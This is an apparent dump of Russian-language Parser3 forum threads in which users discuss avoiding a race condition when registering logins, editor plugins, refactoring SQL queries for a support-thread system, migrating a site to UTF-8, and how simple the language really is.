[quote]1. Главную мысль вопроса впишите в заголовок. Заголовок вида 'Помогите' или 'Не знаю что делать' не несет смысловой нагрузки и не поможет вам в решении проблемы (или сообщение будет удалено модератором)\
2. В теле сообщения напишите что вы хотели получить, что вы делали и что получили[/quote]"
"81005","НУ вообще правильно по одному и тому же адресу отдавать правильную версию или мобильную или полную.\
Просто иногда в адаптивной верстке приходится дублировать контент, не знаю как этому относятся ПС"
"81006","Получаете логин, делаете запрос к БД по условию логина\
Если ответ получен логин есть, нет значит можно регистрировать.\
Как-то так)"
"81007","Представим ситуацию, когда два пользователя одновременно пытаются зарегистрировать один и тот же логин:\
— Проверили логин user для Пользователя 1. Свободно.\
— Проверили логин user для Пользователя 2. Свободно.\
— Добавили логин user для Пользователя 1.\
— Добавили логин user для Пользователя 2... И огребли ошибку «запись с таким ключем уже есть».\
\
В параллельных системах это называется [url=https://ru.wikipedia.org/wiki/%D1%EE%F1%F2%EE%FF%ED%E8%E5_%E3%EE%ED%EA%E8]«состояние гонки»[/url]. Так делать не нужно.\
\
Правильный способ:\
— Делаем инсерт в базу данных нового пользователя.\
— Если огребаем ошибку «запись с таким ключем уже есть», то говорим пользователю, что логин занят.\
\
Пример функции из PF'а:\
[code]@userAdd[aOptions][k;v]\
## Добавляет пользователя\
## aOptions.login\
## aOptions.password\
## aOptions.isActive\
## aOptions.<> - поля из _extraFields\
## result[id пользователя] \
  $result[]\
  ^cleanMethodArgument[]\
  ^pfAssert:isTrue(def $aOptions.login)[Не задан login.]\
  ^CSQL.safeInsert{\
    ^CSQL.void{\
      insert into $_usersTable (^_extraFields.foreach[k;v]{^if(^aOptions.contains[$k]){`^if(def $v){$v}{$k}`, }} login, password, is_active)\
      values (^_extraFields.foreach[k;v]{^if(^aOptions.contains[$k]){\"$aOptions.[$k]\", }} \"^taint[$aOptions.login]\", \"^taint[^passwordHash[$aOptions.password]]\", \"^aOptions.isActive.int(1)\")\
    }\
    $result[^CSQL.lastInsertId[]]\
  }{\
     ^throw[pfAuth.user.exists;Пользователь \"$aOptions.login\" уже есть в системе.] \
   } [/code]"
"81008","Ну так можно делать, когда нет аякса, который показывает доступность, тут проверка на доступность, имелась в виду до сабмита формы.\
А то что логин должен быть с уникальным индексом и не оспаривается ).\
И в случае такого невероятного совпадения, все равно ошибка вывалится, вопрос в том, что отловить то его надо.\
\
Вопрос в том был как проверить существует такой логин в базе или нет), проверить можно по разному и оба способа правильные в зависимости от контекста их использования )"
"81009","[quote]Просто иногда в адаптивной верстке приходится дублировать контент, не знаю как этому относятся ПС[/quote]\
\
Дублировать контент не нужно, этим можно сильно снизить его ценность и навредить сайту."
"81010","Здравствуйте, помогите найти оптимальную версию парсера для сервера. На сервере установлена ОС CentOS release 6.6 (Final), ядро 2.6.32-504.12.2.el6.x86_64."
"81011","Подскажите пожалуйста, какая вы использую программу для программирования на парсере 3. \
\
Я начал работать в PHPSTORM и не могу понять поддерживает он синтаксис парсера или нет? Кто нибудь работает в этой программе? Если да то как ее настроить для парсера!\
\
Спасибо"
"81012","Не поддерживает, есть плагин для IntelliJ IDEA, https://github.com/artlebedev/idea-parser3 . Подсветка синтаксиса в адекватных объемах в PHPStorm просто невозможна.\
\
Вы можете использовать Sublime/TextMate, например."
"81013","Скачал Sublime, а так же скачал https://github.com/artlebedev/idea-parser3 не могу настроить программу для синтаксиса))\
\
Помогите :)\
\
Спасибо!"
"81014","Для sublime нужен отсюда модуль http://www.parser.ru/download/utils/\
\
Кидать в Installed Plugin в распакованном виде, например.\
\
idea-parser3 надо компилировать как проект IntelliJ IDEA Plugin, если хочется собранную версию - есть на plugins.jetbrains.net."
"81015","Не могу понять почему синтаксис не полный...\
Получается HTML не подтягивается в синтаксис\
\
http://s018.radikal.ru/i526/1503/91/123b36d02c5c.png"
"81016","К сожалению, да.\
\
Зато emmet в принципе можно цепануть и нормально верстать."
"81017","Возможно ли добавить такую опцию? А то на каталогах с очень большим количеством файлов parser вздергивается (порядка 1.5 млн файлов)"
"81018","Да вроде как и выбирать особо не из чего...\
http://www.parser.ru/f/1/download/parser343/parser3_4_3_centos6x64.tar.gz"
"81019","[quote]error receiving response header: Попытка установить соединение была безуспешной, т.к. от другого компьютера за требуемое время не получен нужный отклик, или было разорвано уже установленное соединение из-за неверного отклика уже подключенного компьютера (10060)[/quote]\
\
эта фраза при такой ошибке прописана где-то в исходном коде или берется откуда-то из ОС?\
потому что как auto.p перешел в utf-8 она стала выводится квадратиками\
\
в принципе не очень напрягает, но может поправить? -)"
"81021","Добрый день!\
Интересует вопрос как правильно сделать выборку из базы данных.\
Вот код:\
[code]\
$questions[ #Получаем все треды\
	^connect[$connect_string]{\
		^table::sql{\
			SELECT	id,\
				sectionID,\
				threadID,\
				parentID,\
				uID,\
				date,\
				mess,\
				closed\
			FROM	questions\
			WHERE	sectionID = '$advices.section.id'\
			AND	parentID = '0'\
		}\
	}\
]\
^if(def $questions){\
	^if(def $form:url && $form:url eq $advices.section.section_url && $questions && !def $form:q){\
		<h2>Действующие консультации</h2>\
		^rem{####	START OPERATOR	####}\
		^questions.menu{\
			^connect[$connect_string]{\
				$operator[ #Получаем все сообщения текущего оператора в данном раздел\
					^table::sql{\
						SELECT	id,\
							sectionID,\
							threadID,\
							parentID,\
							uID,\
							date,\
							mess,\
							closed\
						FROM	questions\
						WHERE 	uID = '$initialization.auth.uID'\
						AND	threadID = '$questions.threadID'\
						LIMIT	1\
					}\
				]\
				^operator.menu{\
					$Q[ #Фильтруем и показываем только треды\
						^table::sql{\
							SELECT	id,\
								sectionID,\
								threadID,\
								parentID,\
								uID,\
								date,\
								mess,\
								closed\
							FROM	questions\
							WHERE 	parentID = '0'\
							AND	threadID = '$operator.threadID'\
						}\
					]\
					$U[ #Показываем пользователей, которые начали теды\
						^table::sql{\
							SELECT	uID,\
								gID,\
								sID,\
								login,\
								email,\
								forename,\
								surname\
							FROM	users\
							WHERE 	uID = '$Q.uID'\
						}\
					]\
					\
					^U.menu{$U.forename $U.surname}\
					^Q.menu{<a href=\"/${form:url}?q=${Q.threadID}\">$Q.mess</a><br>}\
				}\
			}\
		}\
		^rem{####	END OPERATOR	####}\
		<h2>New</h2>\
		^rem{####	START FREE	####}\
		^questions.menu{\
			^connect[$connect_string]{\
				$operators[ #Получаем всех операторов\
					^table::sql{\
						SELECT	uID,\
							gID,\
							sID,\
							login,\
							email,\
							forename,\
							surname\
						FROM	users\
						WHERE 	gID = '3'\
					}\
				]\
				^operators.menu{\
					$close[ #Ищем все сообщения всех операторов в текущем разделе\
						^table::sql{\
							SELECT	id,\
								sectionID,\
								threadID,\
								parentID,\
								uID,\
								date,\
								mess,\
								closed\
							FROM	questions\
							WHERE 	uID = '$operators.uID'\
							AND	threadID = '$questions.threadID'\
							LIMIT	1\
						}\
					]\
				}\
				^close.menu{\
					$free[ #Пытаемся исключить треды в которых участвовал оператори оставить пустые, без участия оператора, увы не плучатся\
						^table::sql{\
							SELECT	id,\
								sectionID,\
								threadID,\
								parentID,\
								uID,\
								date,\
								mess,\
								closed\
							FROM	questions\
							WHERE 	sectionID = '$advices.section.id'\
							AND	threadID != '$close.threadID'\
							AND	parentID = '0'\
						}\
					]\
				}\
			}\
			^free.menu{$free.threadID<br>}\
		}\
		^rem{####	END FREE	####}\
	}\
}\
[/code]\
Проблема во $free.\
Не получается отфильтровать треды.\
Механизм работы задуман так:\
Пользователь заходит в раздел, начинает тред, оператор на своей странице видит треды в которых он участвовал, другие операторы их не видят. Для всех операторов предусмотрен список новых тредов, в которых еще не участвовал ни один из операторов, так вот проблема в получении этого списка, Я смог получить треды в которых участвовали операторы, но исключить их из общего списка не получается.\
Прошу у вас помощи."
"81022","Пересмотрите архитектуру."
"81023","Можете нарисовать схема таблиц и как они связаны между собой.\
Все должно делаться с помощью обычных JOINов."
"81024","по теме не отвечу, т.к. вопроса я, если честно, не понял, да и в коде есть откровенные ошибки и несоответствия кода комментариям.\
поэтому будут общие рекомендации, которые помогут переписать текущий код, сильно уменьшить его в размере, после чего он станет понятнее другим.\
\
0. оставьте только один ^connect[] вокруг всего кода. незачем повторяться.\
\
1. кода много. много очень похожих кусков. вас это не смущает? почему не вынести повторяющийся код в отдельные методы?\
например:\
[code]\
@getThreads[params]\
$result[^table::sql{\
	SELECT\
		id,\
		sectionID,\
		threadID,\
		parentID,\
		uID,\
		date,\
		mess,\
		closed\
	FROM\
		questions\
	WHERE\
		1 = 1\
		^if(def $params.sectionIDs){AND sectionID IN ($params.sectionIDs)}\
		^if(def $params.parentIDs){AND parentID IN ($params.parentIDs)}\
		^if(def $params.threadIDs){AND threadID IN($params.threadIDs)}\
		^if(def $params.uIDs){AND uID IN($params.uIDs)}\
	ORDER BY\
		date DESC\
}[\
	^if(def $params.limit){\
		$.limit(^params.limit.int(0))\
	}\
]]\
[/code]\
\
а потом вызывать примерно так:\
[code]\
$Q[^getThreads[\
	$.parentIDs(0)\
	$.threadIDs($operator.threadID)\
]]\
[/code]\
\
кода станет гораздо меньше и разбираться в нём станет уже проще.\
\
2. вы делаете sql запросы в циклах. обычно это будет приводить к проблемам с производительностью SQL сервера. \
[url=/examples/trees/]прочитайте про деревья[/url]. у вас уже есть всё, чтобы доставать всё необходимое в цикле одним запросом, например, если \
посмотреть на первый цикл ^questions.menu{} и получение в нем $operators, то можно сделать так:\
[code]\
$tOpQuestions[^getThreads[\
	$.threadIDs[^questions.menu{$questions.threadID}[,]]\
]]\
$hOpQuestions[^tOpQuestions.hash[threadID][$.type[table]]]\
^questions.menu{\
	$operators[$hOpQuestions.[$questions.threadID]]\
	^operators.menu{\
		... это содержимое можно переделать аналогично, чтобы не делать sql запросов в цикле.\
	}\
}\
[/code]\
\
P.S. если не очень понятно что происходит с ^таблица.hash[поле][$.type[table]], то скачайте и подключите [url=/examples/debug-fork/]Debug.p[/url]. а потом, после этого метода напишите ^dstop[ $.t[$tOpQuestions] $.h[$hOpQuestions] ] и увидите всю структуру было/стало."
"81025","вы ведь не просто так делаете ^file:list[]. значит вам это для чего-то нужно. и как вам поможет, если вы сможете получить не всё, а только произвольную выборку файлов ограниченного размера?"
"81026","Начал все исправлять исходя из твоего совета, правда есть одно но.\
У меня threadID это $threadID[^math:uid64[]]\
Соответственно ничего не работает.\
Как быть?"
"81027","[code]\
@getThreads[params]\
$result[^table::sql{\
	SELECT\
		id,\
		sectionID,\
		threadID,\
		parentID,\
		uID,\
		date,\
		mess,\
		closed\
	FROM\
		questions\
	WHERE\
		1 = 1\
		^if(def $params.sectionIDs){AND sectionID IN($params.sectionIDs)}\
		^if(def $params.threadIDs){AND threadID = '$params.threadIDs'}\
		^if(def $params.parentIDs){AND parentID IN($params.parentIDs)}\
		^if(def $params.uIDs){AND uID IN($params.uIDs)}\
	ORDER BY\
		date DESC\
}[\
	^if(def $params.limit){\
		$.limit(^params.limit.int(0))\
	}\
]]\
[/code]\
\
И код получился такой:\
[code]\
$questions[^getThreads[\
	$.sectionIDs($advices.section.id)\
	$.parentIDs(0)\
]]\
^if(def $questions){\
	^if(def $form:url && $form:url eq $advices.section.section_url && $questions && !def $form:q){\
		<h2>Действующие</h2>\
		^questions.menu{\
			$operator[^getThreads[\
				$.threadIDs[$questions.threadID]\
				$.uIDs($initialization.auth.uID)\
				$.limit(1)\
			]]\
			^operator.menu{\
				$Q[^getThreads[\
					$.threadIDs[$operator.threadID]\
					$.parentIDs(0)\
				]]\
				$U[^getUsers[\
					$.uIDs($Q.uID)\
				]]\
				^U.menu{$U.forename $U.surname}\
				^Q.menu{<a href=\"/${form:url}?q=${Q.threadID}\">$Q.mess</a><br>}\
			}\
			$operators[^getUsers[\
				$.gIDs(3)\
			]]\
			^operators.menu{\
				$close[^getThreads[\
					$.threadIDs[$questions.threadID]\
					$.uIDs($operators.uID)\
					$.limit(1)\
				]]\
				^close.menu{\
					$free[\
						^table::sql{\
							SELECT	id,\
								sectionID,\
								threadID,\
								parentID,\
								uID,\
								date,\
								mess,\
								closed\
							FROM	questions\
							WHERE 	sectionID = '$advices.section.id'\
							AND	threadID != '$close.threadID'\
							AND	parentID = '0'\
						}\
					]\
					^free.menu{$free.threadID<br>}\
				}\
			}\
		}\
	}\
}\
[/code]\
\
$close получает threadID в которых уже написал оператор.\
Вопрос в следующем:\
Как правильно написать $free, чтобы он исключал из всего списка threadID $close.threadID и находил parentID = '0' и выдавал список threadID в которых еще не писал оператор.\
\
Сейчас у меня в тестовом варианте 5 записей threadID, где parentID = '0'.\
$close находит 2 записи и это true.\
$free почему то находит все, но в неправильном порядке."
"81028","Возьму пачку в 1000 файлов, обработаю и удалю, возьму следующую 1000 и т.д."
"81029","[code]\
@getThreads[params]\
$result[^table::sql{\
	SELECT\
		id,\
		sectionID,\
		threadID,\
		parentID,\
		uID,\
		date,\
		mess,\
		closed\
	FROM\
		questions\
	WHERE\
		1 = 1\
		^if(def $params.sectionIDs){AND sectionID IN($params.sectionIDs)}\
		^if(def $params.threadIDs){AND threadID = '$params.threadIDs'}\
		^if(def $params.parentIDs){AND parentID IN($params.parentIDs)}\
		^if(def $params.uIDs){AND uID IN($params.uIDs)}\
	ORDER BY\
		date DESC\
}[\
	^if(def $params.limit){\
		$.limit(^params.limit.int(0))\
	}\
]]\
\
@getFreeThreads[params]\
$result[^table::sql{\
	SELECT\
		id,\
		sectionID,\
		threadID,\
		parentID,\
		uID,\
		date,\
		mess,\
		closed\
	FROM\
		questions\
	WHERE\
		1 = 1\
		^if(def $params.sectionIDs){AND sectionID IN($params.sectionIDs)}\
		^if(def $params.threadIDs){AND threadID != '$params.threadIDs'}\
		^if(def $params.parentIDs){AND parentID IN($params.parentIDs)}\
		^if(def $params.uIDs){AND uID != '$params.uIDs'}\
	ORDER BY\
		date DESC\
}[\
	^if(def $params.limit){\
		$.limit(^params.limit.int(0))\
	}\
]]\
\
@getUsers[params]\
$result[^table::sql{\
	SELECT\
		uID,\
		gID,\
		sID,\
		login,\
		email,\
		forename,\
		surname,\
		registered\
	FROM\
		users\
	WHERE\
		1 = 1\
		^if(def $params.uIDs){AND uID IN($params.uIDs)}\
		^if(def $params.gIDs){AND gID IN($params.gIDs)}\
		^if(def $params.sIDs){AND sID = '$params.sIDs'}\
		^if(def $params.logins){AND login = '$params.logins'}\
		^if(def $params.emails){AND email = '$params.emails'}\
		^if(def $params.forenames){AND forename = '$params.forenames'}\
		^if(def $params.surnames){AND surname = '$params.surnames'}\
	ORDER BY\
		registered DESC\
}[\
	^if(def $params.limit){\
		$.limit(^params.limit.int(0))\
	}\
]]\
\
@page[]\
$questions[^getThreads[\
	$.sectionIDs($advices.section.id)\
	$.parentIDs(0)\
]]\
^questions.menu{\
	$operator[^getThreads[\
		$.threadIDs[$questions.threadID]\
		$.uIDs($initialization.auth.uID)\
		$.limit(1)\
	]]\
	^operator.menu{\
		$Q[^getThreads[\
			$.threadIDs[$operator.threadID]\
			$.parentIDs(0)\
		]]\
		$U[^getUsers[\
			$.uIDs(^Q.menu{$Q.uID})\
		]]\
		^U.menu{$U.uID $U.forename $U.surname}\
		^Q.menu{<a href=\"/${form:url}?q=${Q.threadID}\">$Q.mess</a><br>}\
	}\
	$operators[^getUsers[\
		$.uIDs($initialization.auth.uID)\
		$.gIDs(3)\
	]]\
	$close[^getThreads[\
		$.threadIDs[$questions.threadID]\
		$.uIDs(^operators.menu{$operators.uID})\
	]]\
	^close.menu{\
		$prefree[^getThreads[\
			$.sectionID($close.sectionID)\
			$.threadIDs[$close.threadID]\
			$.parentIDs(0)\
		]]\
		^prefree.menu{\
			$free[^getFreeThreads[\
				$.sectionID($prefree.sectionID)\
				$.threadIDs[$prefree.threadID]\
				$.parentIDs(0)\
				$.uIDs($prefree.uID)\
				$.limit(1)\
			]]\
			^free.menu{$free.threadID<br>}\
		}\
	}\
}\
[/code]\
\
$prefree вычисляет какой пользователь, в каком разделе и какой тред оставил и понимает, что оператор ему ответил, а $free должен исключать данные, которые пришли от $prefree.\
Но увы, $free не работает.\
Не знаю что с этим поделать."
"81030","В каком поле хранится связь «оператор—вопрос»?"
"81032","Это невозможно. WebStorm запрещает плагины для кастомных языков в достаточном объеме (bash не в счет, т. к. это язык без рефакторинга и т. п., а без этих фич часть конструкций банально не подсветить и т. п.)"
"81034","EAP получше будет, если Mac :-) Особенно с custom jdk, хотя конечно бывают фейл-билды и нужно быть готовым откатиться."
"81035","[code]\
`questions`\
(`id`, `sectionID`, `threadID`, `parentID`, `uID`, `date`, `mess`, `closed`)\
(127, 7, '4B514ED62929D16A', 0, 67, '2015-03-26 18:09:36', 'Hola', 0),\
(137, 7, '4B514ED62929D16A', 127, 67, '2015-03-26 18:19:38', 'Work?', 0),\
(147, 7, '4B514ED62929D16A', 137, 67, '2015-03-26 18:20:02', 'Show me more...', 0),\
(157, 7, '4B514ED62929D16A', 147, 67, '2015-03-26 18:24:16', 'It''s work?', 0),\
(177, 7, '4B514ED62929D16A', 157, 77, '2015-03-26 18:40:38', 'Wag1', 0),\
(187, 7, '4B514ED62929D16A', 177, 77, '2015-03-26 18:41:14', 'Why U so shine?', 0),\
(197, 7, '4B514ED62929D16A', 187, 77, '2015-03-26 18:52:17', 'Wassup bro!', 0),\
(207, 7, '4B514ED62929D16A', 197, 67, '2015-03-26 18:52:28', 'Wassup mate!', 0),\
(217, 7, '40499A996C20E9F0', 0, 87, '2015-03-26 18:56:17', 'Have U any problems?', 0),\
(227, 7, '40499A996C20E9F0', 217, 77, '2015-03-26 18:56:33', 'No problems', 0),\
(237, 7, 'AAE31BA33AB83774', 0, 67, '2015-03-31 12:09:42', 'Wassup mate!', 0),\
(247, 7, '4B514ED62929D16A', 207, 77, '2015-03-31 12:11:27', 'U', 0),\
(257, 7, '333A9D145C9EDA97', 0, 67, '2015-04-01 12:08:13', 'Jay Master Jam', 0),\
(267, 17, '9BC64E7055E25960', 0, 67, '2015-04-01 12:08:23', 'Cannabis', 0),\
(277, 17, '53F893590D00323B', 0, 67, '2015-04-01 12:08:30', 'True Love', 0),\
(287, 17, '524FC1158E58467E', 0, 67, '2015-04-01 12:08:38', 'One life', 0),\
(297, 17, '524FC1158E58467E', 287, 67, '2015-04-01 12:08:49', 'Das wassup', 0),\
(307, 7, 'D22B7061E5EBE944', 0, 87, '2015-04-01 12:09:28', 'Das wassup', 0),\
(317, 17, 'C3929B5CD562001E', 0, 87, '2015-04-01 12:09:38', 'Hola mate', 0),\
(327, 17, 'C3929B5CD562001E', 317, 77, '2015-04-01 12:11:03', 'Damn', 0),\
(337, 7, 'D22B7061E5EBE944', 307, 77, '2015-04-01 12:28:33', 'Hi', 0),\
(347, 7, '333A9D145C9EDA97', 257, 77, '2015-04-01 12:33:42', 'Hola', 0),\
(357, 7, 'AAE31BA33AB83774', 237, 77, '2015-04-01 12:34:02', 'Wassup', 0),\
(367, 17, '9BC64E7055E25960', 267, 77, '2015-04-01 12:34:25', 'For one peace', 0)\
[/code]\
Вот вся база вопросов.\
В колонке uID хранятся id пользователей которые написали сообщения, берем uID и определяем кто из них кто, parentID = 0 не может быть создан оператором."
"81036","Или некорректно понимаю вашу терминологию.\
\
[quote]Для всех операторов предусмотрен список новых тредов, в которых еще не участвовал ни один из операторов, так вот проблема в получении этого списка, Я смог получить треды в которых участвовали операторы, но исключить их из общего списка не получается.[/quote]\
\
Кто такие операторы? Это пользователи-авторы вопросов?\
Как вы узнаёте в каких вопросах они участвовали? По авторству?"
"81037","Авторы вопросов, это обычные пользователи.\
Узнаю по авторству. Есть группы пользователей:\
Администраторы;\
Модераторы;\
Операторы;\
Пользователи.\
Каждый uID прикреплен к определенной группе пользователей."
"81038","если я правильно понимаю, то у вам необходимо что-то вроде нижеследующего:\
[code]	$tWaiting[^oSQL.table{\
		SELECT threadID\
		FROM questions AS q\
		WHERE\
			parentID = 0\
			AND (\
					SELECT COUNT(id)\
					FROM questions\
					WHERE\
						threadID = q.threadID\
						AND parentID <> 0\
				) = 0\
	}]\
	$tAnswered[^oSQL.table{\
		SELECT threadID\
		FROM questions AS q\
		WHERE\
			parentID = 0\
			AND (\
					SELECT COUNT(id)\
					FROM questions\
					WHERE\
						threadID = q.threadID\
						AND parentID <> 0\
				) > 0	\
	}][/code]\
\
а это к вопросу об авторах операторах:\
[code]	$tAuthors[^oSQL.table{\
		SELECT DISTINCT uID\
		FROM questions\
		WHERE parentID = 0\
	}]\
	$tOperators[^oSQL.table{\
		SELECT DISTINCT uID\
		FROM questions\
		WHERE uID NOT IN (^Lib:list[$tAuthors;uID])\
	}][/code]"
"81039","Вот адаптировал немного:\
[code]\
$tAnswered[^table::sql{\
	SELECT\
		id,\
		sectionID,\
		threadID,\
		parentID,\
		uID,\
		date,\
		mess,\
		closed\
	FROM\
		questions\
	AS\
		q\
	WHERE\
		parentID = 0\
	AND\
		sectionID = '$advices.section.id'\
	AND (\
		SELECT COUNT(id)\
		FROM\
			questions\
		WHERE\
			threadID = q.threadID\
		AND\
			parentID <> 0\
		AND\
			uID = '$initialization.auth.uID'\
	) > 0\
}]\
$tWaiting[^table::sql{\
	SELECT\
		id,\
		sectionID,\
		threadID,\
		parentID,\
		uID,\
		date,\
		mess,\
		closed\
	FROM\
		questions\
	AS\
		q\
	WHERE\
		parentID = 0\
	AND\
		sectionID = '$advices.section.id'\
	AND (\
		SELECT COUNT(id)\
		FROM\
			questions\
		WHERE\
			threadID = q.threadID\
		AND\
			parentID <> 0\
	) = 0\
}]\
^if($tAnswered){\
	<h2>Ваши консультации</h2>\
	^tAnswered.menu{<a href=\"/${form:url}?q=${tAnswered.threadID}\">$tAnswered.mess</a><br>}\
}\
^if($tWaiting){\
	<h2>Новые вопросы</h2>\
	^tWaiting.menu{<a href=\"/${form:url}?q=${tWaiting.threadID}\">$tWaiting.mess</a><br>}<br>\
}\
[/code]\
\
Все работает на ура.\
$tWaiting выдает новые вопросы, правда есть небольшое но.\
Допустим пользователь задал один вопрос, у этого вопроса parentID = 0, но вдруг пользователь вспомнил, что не написал к этому вопросу важный момент, он дописывает этот момент, и получается у вопроса с parentID = 0 появляется ветка с parentID = N, в итоге оператор не видит этого нового вопроса с дополнением этого же пользователя."
"81040","Вы ожидаете решение целиком?\
В примере речь шла о том, как можно получить идентификаторы тредов с ответами и без.\
Если вам нужны треды целиком, доставайте их целиком от корня, если нужны какие-то части, модифицируйте условия запросов по потребностям."
"81041","Отдельно нужно знать ID всех операторов, раз вы хотите по ним доставать или исключать.\
\
Затем достать threadID.\
Неясно, зачем он у вас UID64, когда все остальные ID числовые.\
\
Зная threadID, достаём ветки целиком.\
\
В принципе, можно нагородить сложный запрос и выдернуть всё чуть не одним запросом, до я бы разбил на несколько минимальных.\
\
В целом потенциально есть проблемы с гонкой операторов за свободные вопросы, и, если не предпринимать мер, в тред могут написать оба и вся схема рухнет — тред не увидит ни одни оператор.\
Я бы связи «пользователь—роль—тред» вынес в отдельную таблицу и позволил операторам резервировать  вопросы, а не конкурировать написанием ответов."
"81042","Хочу перевести всё на UTF-8:\
- сайт и сами файлы кода на парсере\
- база (MySQL 5.1 или выше) - данные все будут в utf-8\
\
прошу подсказать/проверить чек-лист на то, где/что надо исправить, изменить, оставить без изменений,\
\
сейчас так:\
-- parser3/auto.p (config) ---\
[code]\
@conf[filespec]\
\
#...\
\
$CHARSETS[\
#	$.cp866[$charsetsdir/cp866.cfg]\
#	$.koi8-r[$charsetsdir/koi8-r.cfg]\
#	$.koi8-u[$charsetsdir/koi8-u.cfg]\
#	$.windows-1250[$charsetsdir/windows-1250.cfg]\
	$.windows-1251[$charsetsdir/windows-1251.cfg]\
#	$.windows-1254[$charsetsdir/windows-1254.cfg]\
#	$.windows-1257[$charsetsdir/windows-1257.cfg]\
#	$.x-mac-cyrillic[$charsetsdir/x-mac-cyrillic.cfg]\
]\
\
#...\
\
@auto[]\
\
#...\
\
$request:charset[windows-1251]\
$response:charset[windows-1251]\
\
$response:content-type[\
	$.value[text/html]\
	$.charset[$response:charset]\
]\
\
$SQL.dbstring[mysql://sqluser@sqlhost/dbname?charset=cp1251]\
\
[/code]\
\
Вопросы такие:\
 1) Нужно ли закаментить строку подключения файла кодировки windows-1251 в @conf > $CHARSETS ? Или оно еще пригодится?\
\
 2) Нужно ли в request/respone:charset для верности поставить [utf-8] (и как правильно utf8 или utf-8 или UTF-8\
\
 3) Что поменять, убрать в строке подключения к БД?\
\
Спасибо."
"81043","[quote]Вопросы такие:\
1) Нужно ли закаментить строку подключения файла кодировки windows-1251 в @conf > $CHARSETS ? Или оно еще пригодится?[/quote]\
\
Пригодится при перекодировании запросов и ответов, оставьте.\
\
[quote]2) Нужно ли в request/respone:charset для верности поставить [utf-8] (и как правильно utf8 или utf-8 или UTF-8[/quote]\
\
Можно удалить, utf-8 по умолчанию.\
\
[quote]3) Что поменять, убрать в строке подключения к БД?[/quote]\
\
Если БД уже перекодирована — убрать charset."
"81045","без Вас Я бы никогда не справился.\
Вот код на проверку гениям:\
[code]\
^if(def $form:url && $form:url eq $advices.section.section_url && $questions && !def $form:q){\
	$tAuthors[^table::sql{\
		SELECT DISTINCT uID\
		FROM questions\
		WHERE parentID = 0\
	}]\
	$tOperators[^table::sql{\
		SELECT DISTINCT uID\
		FROM questions\
		WHERE uID NOT IN (^tAuthors.menu{$tAuthors.uID}[, ])\
	}]\
	$tAnswered[^table::sql{\
		SELECT\
			id,\
			sectionID,\
			threadID,\
			parentID,\
			uID,\
			date,\
			mess,\
			closed\
		FROM\
			questions\
		AS\
			q\
		WHERE\
			parentID = 0\
		AND\
			sectionID = '$advices.section.id'\
		AND (\
			SELECT COUNT(id)\
			FROM\
				questions\
			WHERE\
				threadID = q.threadID\
			AND\
				parentID <> 0\
			AND\
				uID = '$initialization.auth.uID'\
		) > 0\
	}]\
	$tWaiting[^table::sql{\
		SELECT\
			id,\
			sectionID,\
			threadID,\
			parentID,\
			uID,\
			date,\
			mess,\
			closed\
		FROM\
			questions\
		AS\
			q\
		WHERE\
			parentID = 0\
		AND\
			sectionID = '$advices.section.id'\
		AND (\
			SELECT COUNT(id)\
			FROM\
				questions\
			WHERE\
				threadID = q.threadID\
			AND\
				parentID <> 0\
			AND	uID\
				NOT IN (^tAuthors.menu{$tAuthors.uID}[, ])\
		) = 0\
	}]\
	^if($tAnswered){\
		<h2>Ваши консультации</h2>\
		^tAnswered.menu{<a href=\"/${form:url}?q=${tAnswered.threadID}\">$tAnswered.mess</a><br>}\
	}\
	^if($tWaiting){\
		<h2>Новые вопросы</h2>\
		^tWaiting.menu{<a href=\"/${form:url}?q=${tWaiting.threadID}\">$tWaiting.mess</a><br>}<br>\
	}\
}\
[/code]"
"81046","Предлагаю убрать формулировку: Что такое Parser? Parser — это технология создания сайтов с помощью [b]простого языка[/b] (Python в таком разрезе примерно такой же простой, они оба в принципе против синтаскиса Perl'a). Он [b]немного[/b] сложнее HTML (это вообще несравнимое ни по классу - декларативный и императивный, да и вообще ловушка для наивных верстальщиков), но не требует особенного умения программировать. (no comment)\
\
:) Чем он проще Python'a какого-нить? и уж тем более про\
не требует особенного умения программировать... лукавство да и только.\
\
А то как-то стыдно. Люди спрашивают на чем кодишь... а ты им на Parser, они открывают страницу а там формулировка, как будто это Basic. Хотя это далеко не так."
"81047","я не люблю COUNT в подзапросах. хз как оптимизатор в каждом конкретном месте его обработает.\
\
вместо:\
WHERE (SELECT COUNT(*) ...) > 0\
я считаю, что надо написать:\
WHERE EXISTS (SELECT * FROM ...)\
\
согласно стандарту тут \"*\" сервер должен игнорировать и просто проверять есть ли хоть дна строка. в случае COUNT по хорошему он ОБЯЗАН посчитать количество строк, но в данном случае знание точного количества избыточно и это просто трата ресурсов (причем может быть неслабая трата)"
"81048","спасибо, принял к сведению)"
"81050","в данном случае count(id) == count(*), т.к. первое посчитает общее количество строк, а второе -- количество строк с id, которые не null. но id тут не может быть null, поэтому в данном случае результаты будут одинаковые.\
\
я указывал на count в данных подзапросах."
"81051","Порог вхождения для hello world реально проще, нет специальных операторов которые производят вывод как минимум, раз и поехал. В большей степени все включено, в отличии же от питона, где все разнесено по отдельным классам и все что выходит за рамки минимума требует подключение чего-то внешнего, что конечно большей частью входит в стандартный пакет, но не всегда.\
\
Самое простое что есть в parser это совмещенный код + вывод информации. Не надо обрамлять код и просто вывод. Плюс все его объектные возможности делают его довольно таки мощным инструментом.\
\
К сожалению не могу сказать, как он ведет себя на Очень больших проектах)"
"81052","Бьюсь об заклад, любой нормальный веб-проект на Parser\
в своей index.html\
содержит что-нить аутентичное в стиле:\
\
^render[$.template[_default] $.proto[html]]\
\
:)"
"81053","У меня проекты 30-50 тысяч строк на Парсере отлично работают. Для языка такого уровня это не мало."
"81054","Вопрос в кеше и производительности базы данных.\
\
Банковские сайты, крупные новостно-информационные порталы можно смело кешировать и оставлять на ajax систему комментариев.\
\
А вот какой-нибудь facebook, linkedin во-первых не будут работать с классической базой данных (тут с лету нужны redis/memcached/hadoop для выборки, что-то in-memory [для чего python/node/go/java идеальны в отличии от php/parser]), производительность с искомым объемом данных не та даже если применять кластер (хотя применять кластер экономически не выгодно), во-вторых, кешировать-то особо и ничего для быстрого отображения, т. е. в любом случае движок будет подниматься, обращаться к бд, к memcached, проверять состояние ключей и т. п."
"81056","Фейсбук работает на HHVM, он не имеет практически ничего общего по модели работы с php (хотя и может работать с типовыми php-движками).\
\
Например, инстанс не гасится по завершению обработки страницы, in-memory данные есть, подключения к БД происходят через pooling. Ну и производительность в несколько раз выше обычного php."
"81059","У нас некоторое время как замер в разработке new.parser.ru. На нем написано иначе. :)\
\
Вообще синтаксических конструкций в парсере действительно много меньше, чем в обычных языках программирования ^$имя[({значение или параметр})]. Парсер можно использовать просто как продвинутый макропроцессор для шаблонизации,\
